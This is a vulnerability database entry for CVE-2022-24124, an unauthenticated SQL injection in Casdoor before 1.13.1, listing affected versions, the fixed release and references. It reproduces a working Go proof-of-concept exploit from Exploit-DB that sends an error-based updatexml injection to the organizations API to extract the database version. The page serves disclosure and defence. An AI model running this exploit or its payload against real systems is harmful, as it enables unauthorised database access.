CVE-2022-24124
unknown
CVSS v3
โ
CVSS v4 NEW
โ
VIR risk
1.0
Description
SQL Injection in Casdoor in github.com/casdoor/casdoor
Predictions
Exploit likelihood
30%
Patch ETA
โ
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Casdoor 1.13.0 - SQL Injection (Unauthenticated)
// Exploit Title: Casdoor 1.13.0 - SQL Injection (Unauthenticated)
// Date: 2022-02-25
// Exploit Author: Mayank Deshmukh
// Vendor Homepage: https://casdoor.org/
// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0
// Version: version < 1.13.1
// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r
// Tested on: Kali Linux
// CVE : CVE-2022-24124
// Github POC: https://github.com/ColdFusionX/CVE-2022-24124
// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080
package main
import (
"flag"
"fmt"
"html"
"io/ioutil"
"net/http"
"os"
"regexp"
"strings"
)
func main() {
var url string
flag.StringVar(&url, "u", "", "Casdoor URL (ex. http://127.0.0.1:8080)")
flag.Parse()
banner := `
-=Casdoor SQL Injection (CVE-2022-24124)=-
- by Mayank Deshmukh (ColdFusionX)
`
fmt.Printf(banner)
fmt.Println("[*] Dumping Database Version")
response, err := http.Get(url + "/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)")
if err != nil {
panic(err)
}
defer response.Body.Close()
databytes, err := ioutil.ReadAll(response.Body)
if err != nil {
panic(err)
}
content := string(databytes)
re := regexp.MustCompile("(?i)(XPATH syntax error.*')")
result := re.FindAllString(content, -1)
sqliop := fmt.Sprint(result)
replacer := strings.NewReplacer("[", "", "]", "", "'", "", ";", "")
finalop := replacer.Replace(sqliop)
fmt.Println(html.UnescapeString(finalop))
if result == nil {
fmt.Printf("Application not vulnerable\n")
os.Exit(1)
}
}
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| Go | github.com/casdoor/casdoor | <1.13.1 | 1.13.1 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2022-24124
- https://github.com/casdoor/casdoor/issues/439
- https://github.com/casdoor/casdoor/pull/442
- https://github.com/casdoor/casdoor/commit/5ec0c7a89005819960d8fe07f5ddda13d1371b8c
- https://github.com/casdoor/casdoor
- https://github.com/casdoor/casdoor/compare/v1.13.0...v1.13.1
- http://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html
- https://github.com/advisories/GHSA-m358-g4rp-533r
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.